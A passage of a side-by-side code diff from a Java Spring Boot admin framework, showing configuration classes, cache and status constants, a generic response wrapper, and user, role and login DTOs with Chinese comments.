// 设置使用 HibernateValidator 校验器 // 设置使用 HibernateValidator 校验器
factoryBean.setProviderClass(HibernateValidator.class); factoryBean.setProviderClass(HibernateValidator.class);
Properties properties = new Properties(); Properties properties = new Properties();
// 设置 快速异常返回 // 设置 快速异常返回
properties.setProperty("hibernate.validator.fail_fast", "true"); properties.setProperty("hibernate.validator.fail_fast", "true");
factoryBean.setValidationProperties(properties); factoryBean.setValidationProperties(properties);
// 加载配置 // 加载配置
factoryBean.afterPropertiesSet(); factoryBean.afterPropertiesSet();
return factoryBean.getValidator(); return factoryBean.getValidator();
} }
} }
} }

View File

@@ -1,30 +1,30 @@
package org.dromara.common.core.config.properties; package org.dromara.common.core.config.properties;
import lombok.Data; import lombok.Data;
import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.boot.context.properties.ConfigurationProperties;
/** /**
* 线程池 配置属性 * 线程池 配置属性
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@ConfigurationProperties(prefix = "thread-pool") @ConfigurationProperties(prefix = "thread-pool")
public class ThreadPoolProperties { public class ThreadPoolProperties {
/** /**
* 是否开启线程池 * 是否开启线程池
*/ */
private boolean enabled; private boolean enabled;
/** /**
* 队列最大长度 * 队列最大长度
*/ */
private int queueCapacity; private int queueCapacity;
/** /**
* 线程池维护线程所允许的空闲时间 * 线程池维护线程所允许的空闲时间
*/ */
private int keepAliveSeconds; private int keepAliveSeconds;
} }

View File

@@ -1,30 +1,30 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 缓存的key 常量 * 缓存的key 常量
* *
* @author Lion Li * @author Lion Li
*/ */
public interface CacheConstants { public interface CacheConstants {
/** /**
* 在线用户 redis key * 在线用户 redis key
*/ */
String ONLINE_TOKEN_KEY = "online_tokens:"; String ONLINE_TOKEN_KEY = "online_tokens:";
/** /**
* 参数管理 cache key * 参数管理 cache key
*/ */
String SYS_CONFIG_KEY = "sys_config:"; String SYS_CONFIG_KEY = "sys_config:";
/** /**
* 字典管理 cache key * 字典管理 cache key
*/ */
String SYS_DICT_KEY = "sys_dict:"; String SYS_DICT_KEY = "sys_dict:";
/** /**
* 登录账户密码错误次数 redis key * 登录账户密码错误次数 redis key
*/ */
String PWD_ERR_CNT_KEY = "pwd_err_cnt:"; String PWD_ERR_CNT_KEY = "pwd_err_cnt:";
} }

View File

@@ -1,83 +1,83 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 缓存组名称常量 * 缓存组名称常量
* <p> * <p>
* key 格式为 cacheNames#ttl#maxIdleTime#maxSize * key 格式为 cacheNames#ttl#maxIdleTime#maxSize
* <p> * <p>
* ttl 过期时间 如果设置为0则不过期 默认为0 * ttl 过期时间 如果设置为0则不过期 默认为0
* maxIdleTime 最大空闲时间 根据LRU算法清理空闲数据 如果设置为0则不检测 默认为0 * maxIdleTime 最大空闲时间 根据LRU算法清理空闲数据 如果设置为0则不检测 默认为0
* maxSize 组最大长度 根据LRU算法清理溢出数据 如果设置为0则无限长 默认为0 * maxSize 组最大长度 根据LRU算法清理溢出数据 如果设置为0则无限长 默认为0
* <p> * <p>
* 例子: test#60s、test#0#60s、test#0#1m#1000、test#1h#0#500 * 例子: test#60s、test#0#60s、test#0#1m#1000、test#1h#0#500
* *
* @author Lion Li * @author Lion Li
*/ */
public interface CacheNames { public interface CacheNames {
/** /**
* 演示案例 * 演示案例
*/ */
String DEMO_CACHE = "demo:cache#60s#10m#20"; String DEMO_CACHE = "demo:cache#60s#10m#20";
/** /**
* 系统配置 * 系统配置
*/ */
String SYS_CONFIG = "sys_config"; String SYS_CONFIG = "sys_config";
/** /**
* 数据字典 * 数据字典
*/ */
String SYS_DICT = "sys_dict"; String SYS_DICT = "sys_dict";
/** /**
* 租户 * 租户
*/ */
String SYS_TENANT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_tenant#30d"; String SYS_TENANT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_tenant#30d";
/** /**
* 客户端 * 客户端
*/ */
String SYS_CLIENT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_client#30d"; String SYS_CLIENT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_client#30d";
/** /**
* 用户账户 * 用户账户
*/ */
String SYS_USER_NAME = "sys_user_name#30d"; String SYS_USER_NAME = "sys_user_name#30d";
/** /**
* 用户名称 * 用户名称
*/ */
String SYS_NICKNAME = "sys_nickname#30d"; String SYS_NICKNAME = "sys_nickname#30d";
/** /**
* 部门 * 部门
*/ */
String SYS_DEPT = "sys_dept#30d"; String SYS_DEPT = "sys_dept#30d";
/** /**
* OSS内容 * OSS内容
*/ */
String SYS_OSS = "sys_oss#30d"; String SYS_OSS = "sys_oss#30d";
/** /**
* 角色自定义权限 * 角色自定义权限
*/ */
String SYS_ROLE_CUSTOM = "sys_role_custom#30d"; String SYS_ROLE_CUSTOM = "sys_role_custom#30d";
/** /**
* 部门及以下权限 * 部门及以下权限
*/ */
String SYS_DEPT_AND_CHILD = "sys_dept_and_child#30d"; String SYS_DEPT_AND_CHILD = "sys_dept_and_child#30d";
/** /**
* OSS配置 * OSS配置
*/ */
String SYS_OSS_CONFIG = GlobalConstants.GLOBAL_REDIS_KEY + "sys_oss_config"; String SYS_OSS_CONFIG = GlobalConstants.GLOBAL_REDIS_KEY + "sys_oss_config";
/** /**
* 在线用户 * 在线用户
*/ */
String ONLINE_TOKEN = "online_tokens"; String ONLINE_TOKEN = "online_tokens";
} }

View File

@@ -1,76 +1,76 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 通用常量信息 * 通用常量信息
* *
* @author ruoyi * @author ruoyi
*/ */
public interface Constants { public interface Constants {
/** /**
* UTF-8 字符集 * UTF-8 字符集
*/ */
String UTF8 = "UTF-8"; String UTF8 = "UTF-8";
/** /**
* GBK 字符集 * GBK 字符集
*/ */
String GBK = "GBK"; String GBK = "GBK";
/** /**
* www主域 * www主域
*/ */
String WWW = "www."; String WWW = "www.";
/** /**
* http请求 * http请求
*/ */
String HTTP = "http://"; String HTTP = "http://";
/** /**
* https请求 * https请求
*/ */
String HTTPS = "https://"; String HTTPS = "https://";
/** /**
* 通用成功标识 * 通用成功标识
*/ */
String SUCCESS = "0"; String SUCCESS = "0";
/** /**
* 通用失败标识 * 通用失败标识
*/ */
String FAIL = "1"; String FAIL = "1";
/** /**
* 登录成功 * 登录成功
*/ */
String LOGIN_SUCCESS = "Success"; String LOGIN_SUCCESS = "Success";
/** /**
* 注销 * 注销
*/ */
String LOGOUT = "Logout"; String LOGOUT = "Logout";
/** /**
* 注册 * 注册
*/ */
String REGISTER = "Register"; String REGISTER = "Register";
/** /**
* 登录失败 * 登录失败
*/ */
String LOGIN_FAIL = "Error"; String LOGIN_FAIL = "Error";
/** /**
* 验证码有效期(分钟) * 验证码有效期(分钟)
*/ */
Integer CAPTCHA_EXPIRATION = 2; Integer CAPTCHA_EXPIRATION = 2;
/** /**
* 顶级部门id * 顶级部门id
*/ */
Long TOP_PARENT_ID = 0L; Long TOP_PARENT_ID = 0L;
} }

View File

@@ -1,34 +1,34 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 全局的key常量 (业务无关的key) * 全局的key常量 (业务无关的key)
* *
* @author Lion Li * @author Lion Li
*/ */
public interface GlobalConstants { public interface GlobalConstants {
/** /**
* 全局 redis key (业务无关的key) * 全局 redis key (业务无关的key)
*/ */
String GLOBAL_REDIS_KEY = "global:"; String GLOBAL_REDIS_KEY = "global:";
/** /**
* 验证码 redis key * 验证码 redis key
*/ */
String CAPTCHA_CODE_KEY = GLOBAL_REDIS_KEY + "captcha_codes:"; String CAPTCHA_CODE_KEY = GLOBAL_REDIS_KEY + "captcha_codes:";
/** /**
* 防重提交 redis key * 防重提交 redis key
*/ */
String REPEAT_SUBMIT_KEY = GLOBAL_REDIS_KEY + "repeat_submit:"; String REPEAT_SUBMIT_KEY = GLOBAL_REDIS_KEY + "repeat_submit:";
/** /**
* 限流 redis key * 限流 redis key
*/ */
String RATE_LIMIT_KEY = GLOBAL_REDIS_KEY + "rate_limit:"; String RATE_LIMIT_KEY = GLOBAL_REDIS_KEY + "rate_limit:";
/** /**
* 三方认证 redis key * 三方认证 redis key
*/ */
String SOCIAL_AUTH_CODE_KEY = GLOBAL_REDIS_KEY + "social_auth_codes:"; String SOCIAL_AUTH_CODE_KEY = GLOBAL_REDIS_KEY + "social_auth_codes:";
} }

View File

@@ -1,93 +1,93 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 返回状态码 * 返回状态码
* *
* @author Lion Li * @author Lion Li
*/ */
public interface HttpStatus { public interface HttpStatus {
/** /**
* 操作成功 * 操作成功
*/ */
int SUCCESS = 200; int SUCCESS = 200;
/** /**
* 对象创建成功 * 对象创建成功
*/ */
int CREATED = 201; int CREATED = 201;
/** /**
* 请求已经被接受 * 请求已经被接受
*/ */
int ACCEPTED = 202; int ACCEPTED = 202;
/** /**
* 操作已经执行成功,但是没有返回数据 * 操作已经执行成功,但是没有返回数据
*/ */
int NO_CONTENT = 204; int NO_CONTENT = 204;
/** /**
* 资源已被移除 * 资源已被移除
*/ */
int MOVED_PERM = 301; int MOVED_PERM = 301;
/** /**
* 重定向 * 重定向
*/ */
int SEE_OTHER = 303; int SEE_OTHER = 303;
/** /**
* 资源没有被修改 * 资源没有被修改
*/ */
int NOT_MODIFIED = 304; int NOT_MODIFIED = 304;
/** /**
* 参数列表错误(缺少,格式不匹配) * 参数列表错误(缺少,格式不匹配)
*/ */
int BAD_REQUEST = 400; int BAD_REQUEST = 400;
/** /**
* 未授权 * 未授权
*/ */
int UNAUTHORIZED = 401; int UNAUTHORIZED = 401;
/** /**
* 访问受限,授权过期 * 访问受限,授权过期
*/ */
int FORBIDDEN = 403; int FORBIDDEN = 403;
/** /**
* 资源,服务未找到 * 资源,服务未找到
*/ */
int NOT_FOUND = 404; int NOT_FOUND = 404;
/** /**
* 不允许的http方法 * 不允许的http方法
*/ */
int BAD_METHOD = 405; int BAD_METHOD = 405;
/** /**
* 资源冲突,或者资源被锁 * 资源冲突,或者资源被锁
*/ */
int CONFLICT = 409; int CONFLICT = 409;
/** /**
* 不支持的数据,媒体类型 * 不支持的数据,媒体类型
*/ */
int UNSUPPORTED_TYPE = 415; int UNSUPPORTED_TYPE = 415;
/** /**
* 系统内部错误 * 系统内部错误
*/ */
int ERROR = 500; int ERROR = 500;
/** /**
* 接口未实现 * 接口未实现
*/ */
int NOT_IMPLEMENTED = 501; int NOT_IMPLEMENTED = 501;
/** /**
* 系统警告消息 * 系统警告消息
*/ */
int WARN = 601; int WARN = 601;
} }

View File

@@ -1,54 +1,54 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
import cn.hutool.core.lang.RegexPool; import cn.hutool.core.lang.RegexPool;
/** /**
* 常用正则表达式字符串 * 常用正则表达式字符串
* <p> * <p>
* 常用正则表达式集合,更多正则见: https://any86.github.io/any-rule/ * 常用正则表达式集合,更多正则见: https://any86.github.io/any-rule/
* *
* @author Feng * @author Feng
*/ */
public interface RegexConstants extends RegexPool { public interface RegexConstants extends RegexPool {
/** /**
* 字典类型必须以字母开头,且只能为(小写字母,数字,下滑线) * 字典类型必须以字母开头,且只能为(小写字母,数字,下滑线)
*/ */
String DICTIONARY_TYPE = "^[a-z][a-z0-9_]*$"; String DICTIONARY_TYPE = "^[a-z][a-z0-9_]*$";
/** /**
* 权限标识必须符合 tool:build:list 格式,或者空字符串 * 权限标识必须符合 tool:build:list 格式,或者空字符串
*/ */
String PERMISSION_STRING = "^(|^[a-zA-Z0-9_]+:[a-zA-Z0-9_]+:[a-zA-Z0-9_]+)$"; String PERMISSION_STRING = "^(|^[a-zA-Z0-9_]+:[a-zA-Z0-9_]+:[a-zA-Z0-9_]+)$";
/** /**
* 身份证号码后6位 * 身份证号码后6位
*/ */
String ID_CARD_LAST_6 = "^(([0-2][1-9])|10|20|30|31)\\d{3}[0-9Xx]$"; String ID_CARD_LAST_6 = "^(([0-2][1-9])|10|20|30|31)\\d{3}[0-9Xx]$";
/** /**
* QQ号码 * QQ号码
*/ */
String QQ_NUMBER = "^[1-9][0-9]\\d{4,9}$"; String QQ_NUMBER = "^[1-9][0-9]\\d{4,9}$";
/** /**
* 邮政编码 * 邮政编码
*/ */
String POSTAL_CODE = "^[1-9]\\d{5}$"; String POSTAL_CODE = "^[1-9]\\d{5}$";
/** /**
* 注册账号 * 注册账号
*/ */
String ACCOUNT = "^[a-zA-Z][a-zA-Z0-9_]{4,15}$"; String ACCOUNT = "^[a-zA-Z][a-zA-Z0-9_]{4,15}$";
/** /**
* 密码包含至少8个字符包括大写字母、小写字母、数字和特殊字符 * 密码包含至少8个字符包括大写字母、小写字母、数字和特殊字符
*/ */
String PASSWORD = "^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{8,}$"; String PASSWORD = "^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{8,}$";
/** /**
* 通用状态0表示正常1表示停用 * 通用状态0表示正常1表示停用
*/ */
String STATUS = "^[01]$"; String STATUS = "^[01]$";
} }

View File

@@ -1,70 +1,70 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 用户常量信息 * 用户常量信息
* *
* @author Lion Li * @author Lion Li
*/ */
public interface SystemConstants { public interface SystemConstants {
/** /**
* 正常状态 * 正常状态
*/ */
String NORMAL = "0"; String NORMAL = "0";
/** /**
* 异常状态 * 异常状态
*/ */
String DISABLE = "1"; String DISABLE = "1";
/** /**
* 是否为系统默认(是) * 是否为系统默认(是)
*/ */
String YES = "Y"; String YES = "Y";
/** /**
* 是否菜单外链(是) * 是否菜单外链(是)
*/ */
String YES_FRAME = "0"; String YES_FRAME = "0";
/** /**
* 是否菜单外链(否) * 是否菜单外链(否)
*/ */
String NO_FRAME = "1"; String NO_FRAME = "1";
/** /**
* 菜单类型(目录) * 菜单类型(目录)
*/ */
String TYPE_DIR = "M"; String TYPE_DIR = "M";
/** /**
* 菜单类型(菜单) * 菜单类型(菜单)
*/ */
String TYPE_MENU = "C"; String TYPE_MENU = "C";
/** /**
* 菜单类型(按钮) * 菜单类型(按钮)
*/ */
String TYPE_BUTTON = "F"; String TYPE_BUTTON = "F";
/** /**
* Layout组件标识 * Layout组件标识
*/ */
String LAYOUT = "Layout"; String LAYOUT = "Layout";
/** /**
* ParentView组件标识 * ParentView组件标识
*/ */
String PARENT_VIEW = "ParentView"; String PARENT_VIEW = "ParentView";
/** /**
* InnerLink组件标识 * InnerLink组件标识
*/ */
String INNER_LINK = "InnerLink"; String INNER_LINK = "InnerLink";
/** /**
* 超级管理员ID * 超级管理员ID
*/ */
Long SUPER_ADMIN_ID = 1L; Long SUPER_ADMIN_ID = 1L;
} }

View File

@@ -1,35 +1,35 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 租户常量信息 * 租户常量信息
* *
* @author Lion Li * @author Lion Li
*/ */
public interface TenantConstants { public interface TenantConstants {
/** /**
* 超级管理员ID * 超级管理员ID
*/ */
Long SUPER_ADMIN_ID = 1L; Long SUPER_ADMIN_ID = 1L;
/** /**
* 超级管理员角色 roleKey * 超级管理员角色 roleKey
*/ */
String SUPER_ADMIN_ROLE_KEY = "superadmin"; String SUPER_ADMIN_ROLE_KEY = "superadmin";
/** /**
* 租户管理员角色 roleKey * 租户管理员角色 roleKey
*/ */
String TENANT_ADMIN_ROLE_KEY = "admin"; String TENANT_ADMIN_ROLE_KEY = "admin";
/** /**
* 租户管理员角色名称 * 租户管理员角色名称
*/ */
String TENANT_ADMIN_ROLE_NAME = "管理员"; String TENANT_ADMIN_ROLE_NAME = "管理员";
/** /**
* 默认租户ID * 默认租户ID
*/ */
String DEFAULT_TENANT_ID = "000000"; String DEFAULT_TENANT_ID = "000000";
} }

View File

@@ -1,110 +1,110 @@
package org.dromara.common.core.domain; package org.dromara.common.core.domain;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import org.dromara.common.core.constant.HttpStatus; import org.dromara.common.core.constant.HttpStatus;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 响应信息主体 * 响应信息主体
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class R<T> implements Serializable { public class R<T> implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 成功 * 成功
*/ */
public static final int SUCCESS = 200; public static final int SUCCESS = 200;
/** /**
* 失败 * 失败
*/ */
public static final int FAIL = 500; public static final int FAIL = 500;
private int code; private int code;
private String msg; private String msg;
private T data; private T data;
public static <T> R<T> ok() { public static <T> R<T> ok() {
return restResult(null, SUCCESS, "操作成功"); return restResult(null, SUCCESS, "操作成功");
} }
public static <T> R<T> ok(T data) { public static <T> R<T> ok(T data) {
return restResult(data, SUCCESS, "操作成功"); return restResult(data, SUCCESS, "操作成功");
} }
public static <T> R<T> ok(String msg) { public static <T> R<T> ok(String msg) {
return restResult(null, SUCCESS, msg); return restResult(null, SUCCESS, msg);
} }
public static <T> R<T> ok(String msg, T data) { public static <T> R<T> ok(String msg, T data) {
return restResult(data, SUCCESS, msg); return restResult(data, SUCCESS, msg);
} }
public static <T> R<T> fail() { public static <T> R<T> fail() {
return restResult(null, FAIL, "操作失败"); return restResult(null, FAIL, "操作失败");
} }
public static <T> R<T> fail(String msg) { public static <T> R<T> fail(String msg) {
return restResult(null, FAIL, msg); return restResult(null, FAIL, msg);
} }
public static <T> R<T> fail(T data) { public static <T> R<T> fail(T data) {
return restResult(data, FAIL, "操作失败"); return restResult(data, FAIL, "操作失败");
} }
public static <T> R<T> fail(String msg, T data) { public static <T> R<T> fail(String msg, T data) {
return restResult(data, FAIL, msg); return restResult(data, FAIL, msg);
} }
public static <T> R<T> fail(int code, String msg) { public static <T> R<T> fail(int code, String msg) {
return restResult(null, code, msg); return restResult(null, code, msg);
} }
/** /**
* 返回警告消息 * 返回警告消息
* *
* @param msg 返回内容 * @param msg 返回内容
* @return 警告消息 * @return 警告消息
*/ */
public static <T> R<T> warn(String msg) { public static <T> R<T> warn(String msg) {
return restResult(null, HttpStatus.WARN, msg); return restResult(null, HttpStatus.WARN, msg);
} }
/** /**
* 返回警告消息 * 返回警告消息
* *
* @param msg 返回内容 * @param msg 返回内容
* @param data 数据对象 * @param data 数据对象
* @return 警告消息 * @return 警告消息
*/ */
public static <T> R<T> warn(String msg, T data) { public static <T> R<T> warn(String msg, T data) {
return restResult(data, HttpStatus.WARN, msg); return restResult(data, HttpStatus.WARN, msg);
} }
private static <T> R<T> restResult(T data, int code, String msg) { private static <T> R<T> restResult(T data, int code, String msg) {
R<T> r = new R<>(); R<T> r = new R<>();
r.setCode(code); r.setCode(code);
r.setData(data); r.setData(data);
r.setMsg(msg); r.setMsg(msg);
return r; return r;
} }
public static <T> Boolean isError(R<T> ret) { public static <T> Boolean isError(R<T> ret) {
return !isSuccess(ret); return !isSuccess(ret);
} }
public static <T> Boolean isSuccess(R<T> ret) { public static <T> Boolean isSuccess(R<T> ret) {
return R.SUCCESS == ret.getCode(); return R.SUCCESS == ret.getCode();
} }
} }

View File

@@ -1,46 +1,46 @@
package org.dromara.common.core.domain.dto; package org.dromara.common.core.domain.dto;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* OSS对象 * OSS对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class OssDTO implements Serializable { public class OssDTO implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 对象存储主键 * 对象存储主键
*/ */
private Long ossId; private Long ossId;
/** /**
* 文件名 * 文件名
*/ */
private String fileName; private String fileName;
/** /**
* 原名 * 原名
*/ */
private String originalName; private String originalName;
/** /**
* 文件后缀名 * 文件后缀名
*/ */
private String fileSuffix; private String fileSuffix;
/** /**
* URL地址 * URL地址
*/ */
private String url; private String url;
} }

View File

@@ -1,42 +1,42 @@
package org.dromara.common.core.domain.dto; package org.dromara.common.core.domain.dto;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 角色 * 角色
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class RoleDTO implements Serializable { public class RoleDTO implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 角色ID * 角色ID
*/ */
private Long roleId; private Long roleId;
/** /**
* 角色名称 * 角色名称
*/ */
private String roleName; private String roleName;
/** /**
* 角色权限 * 角色权限
*/ */
private String roleKey; private String roleKey;
/** /**
* 数据范围1所有数据权限2自定义数据权限3本部门数据权限4本部门及以下数据权限5仅本人数据权限 * 数据范围1所有数据权限2自定义数据权限3本部门数据权限4本部门及以下数据权限5仅本人数据权限
*/ */
private String dataScope; private String dataScope;
} }

View File

@@ -1,73 +1,73 @@
package org.dromara.common.core.domain.dto; package org.dromara.common.core.domain.dto;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
import java.util.Date; import java.util.Date;
/** /**
* 用户 * 用户
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class UserDTO implements Serializable { public class UserDTO implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 用户ID * 用户ID
*/ */
private Long userId; private Long userId;
/** /**
* 部门ID * 部门ID
*/ */
private Long deptId; private Long deptId;
/** /**
* 用户账号 * 用户账号
*/ */
private String userName; private String userName;
/** /**
* 用户昵称 * 用户昵称
*/ */
private String nickName; private String nickName;
/** /**
* 用户类型sys_user系统用户 * 用户类型sys_user系统用户
*/ */
private String userType; private String userType;
/** /**
* 用户邮箱 * 用户邮箱
*/ */
private String email; private String email;
/** /**
* 手机号码 * 手机号码
*/ */
private String phonenumber; private String phonenumber;
/** /**
* 用户性别0男 1女 2未知 * 用户性别0男 1女 2未知
*/ */
private String sex; private String sex;
/** /**
* 帐号状态0正常 1停用 * 帐号状态0正常 1停用
*/ */
private String status; private String status;
/** /**
* 创建时间 * 创建时间
*/ */
private Date createTime; private Date createTime;
} }

View File

@@ -1,72 +1,72 @@
package org.dromara.common.core.domain.dto; package org.dromara.common.core.domain.dto;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 当前在线会话 * 当前在线会话
* *
* @author ruoyi * @author ruoyi
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class UserOnlineDTO implements Serializable { public class UserOnlineDTO implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 会话编号 * 会话编号
*/ */
private String tokenId; private String tokenId;
/** /**
* 部门名称 * 部门名称
*/ */
private String deptName; private String deptName;
/** /**
* 用户名称 * 用户名称
*/ */
private String userName; private String userName;
/** /**
* 客户端 * 客户端
*/ */
private String clientKey; private String clientKey;
/** /**
* 设备类型 * 设备类型
*/ */
private String deviceType; private String deviceType;
/** /**
* 登录IP地址 * 登录IP地址
*/ */
private String ipaddr; private String ipaddr;
/** /**
* 登录地址 * 登录地址
*/ */
private String loginLocation; private String loginLocation;
/** /**
* 浏览器类型 * 浏览器类型
*/ */
private String browser; private String browser;
/** /**
* 操作系统 * 操作系统
*/ */
private String os; private String os;
/** /**
* 登录时间 * 登录时间
*/ */
private Long loginTime; private Long loginTime;
} }

View File

@@ -1,41 +1,41 @@
package org.dromara.common.core.domain.event; package org.dromara.common.core.domain.event;
import lombok.Data; import lombok.Data;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 总体流程监听 * 总体流程监听
* *
* @author may * @author may
*/ */
@Data @Data
public class ProcessEvent implements Serializable { public class ProcessEvent implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 流程定义key * 流程定义key
*/ */
private String key; private String key;
/** /**
* 业务id * 业务id
*/ */
private String businessKey; private String businessKey;
/** /**
* 状态 * 状态
*/ */
private String status; private String status;
/** /**
* 当为true时为申请人节点办理 * 当为true时为申请人节点办理
*/ */
private boolean submit; private boolean submit;
} }

View File

@@ -1,40 +1,40 @@
package org.dromara.common.core.domain.event; package org.dromara.common.core.domain.event;
import lombok.Data; import lombok.Data;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 流程办理监听 * 流程办理监听
* *
* @author may * @author may
*/ */
@Data @Data
public class ProcessTaskEvent implements Serializable { public class ProcessTaskEvent implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 流程定义key * 流程定义key
*/ */
private String key; private String key;
/** /**
* 审批节点key * 审批节点key
*/ */
private String taskDefinitionKey; private String taskDefinitionKey;
/** /**
* 任务id * 任务id
*/ */
private String taskId; private String taskId;
/** /**
* 业务id * 业务id
*/ */
private String businessKey; private String businessKey;
} }

View File

@@ -1,31 +1,31 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.Email; import jakarta.validation.constraints.Email;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
/** /**
* 邮件登录对象 * 邮件登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class EmailLoginBody extends LoginBody { public class EmailLoginBody extends LoginBody {
/** /**
* 邮箱 * 邮箱
*/ */
@NotBlank(message = "{user.email.not.blank}") @NotBlank(message = "{user.email.not.blank}")
@Email(message = "{user.email.not.valid}") @Email(message = "{user.email.not.valid}")
private String email; private String email;
/** /**
* 邮箱code * 邮箱code
*/ */
@NotBlank(message = "{email.code.not.blank}") @NotBlank(message = "{email.code.not.blank}")
private String emailCode; private String emailCode;
} }

View File

@@ -1,48 +1,48 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 用户登录对象 * 用户登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
public class LoginBody implements Serializable { public class LoginBody implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 客户端id * 客户端id
*/ */
@NotBlank(message = "{auth.clientid.not.blank}") @NotBlank(message = "{auth.clientid.not.blank}")
private String clientId; private String clientId;
/** /**
* 授权类型 * 授权类型
*/ */
@NotBlank(message = "{auth.grant.type.not.blank}") @NotBlank(message = "{auth.grant.type.not.blank}")
private String grantType; private String grantType;
/** /**
* 租户ID * 租户ID
*/ */
private String tenantId; private String tenantId;
/** /**
* 验证码 * 验证码
*/ */
private String code; private String code;
/** /**
* 唯一标识 * 唯一标识
*/ */
private String uuid; private String uuid;
} }

View File

@@ -1,152 +1,152 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import org.dromara.common.core.domain.dto.RoleDTO; import org.dromara.common.core.domain.dto.RoleDTO;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
/** /**
* 登录用户身份权限 * 登录用户身份权限
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class LoginUser implements Serializable { public class LoginUser implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 租户ID * 租户ID
*/ */
private String tenantId; private String tenantId;
/** /**
* 用户ID * 用户ID
*/ */
private Long userId; private Long userId;
/** /**
* 部门ID * 部门ID
*/ */
private Long deptId; private Long deptId;
/** /**
* 部门类别编码 * 部门类别编码
*/ */
private String deptCategory; private String deptCategory;
/** /**
* 部门名 * 部门名
*/ */
private String deptName; private String deptName;
/** /**
* 用户唯一标识 * 用户唯一标识
*/ */
private String token; private String token;
/** /**
* 用户类型 * 用户类型
*/ */
private String userType; private String userType;
/** /**
* 登录时间 * 登录时间
*/ */
private Long loginTime; private Long loginTime;
/** /**
* 过期时间 * 过期时间
*/ */
private Long expireTime; private Long expireTime;
/** /**
* 登录IP地址 * 登录IP地址
*/ */
private String ipaddr; private String ipaddr;
/** /**
* 登录地点 * 登录地点
*/ */
private String loginLocation; private String loginLocation;
/** /**
* 浏览器类型 * 浏览器类型
*/ */
private String browser; private String browser;
/** /**
* 操作系统 * 操作系统
*/ */
private String os; private String os;
/** /**
* 菜单权限 * 菜单权限
*/ */
private Set<String> menuPermission; private Set<String> menuPermission;
/** /**
* 角色权限 * 角色权限
*/ */
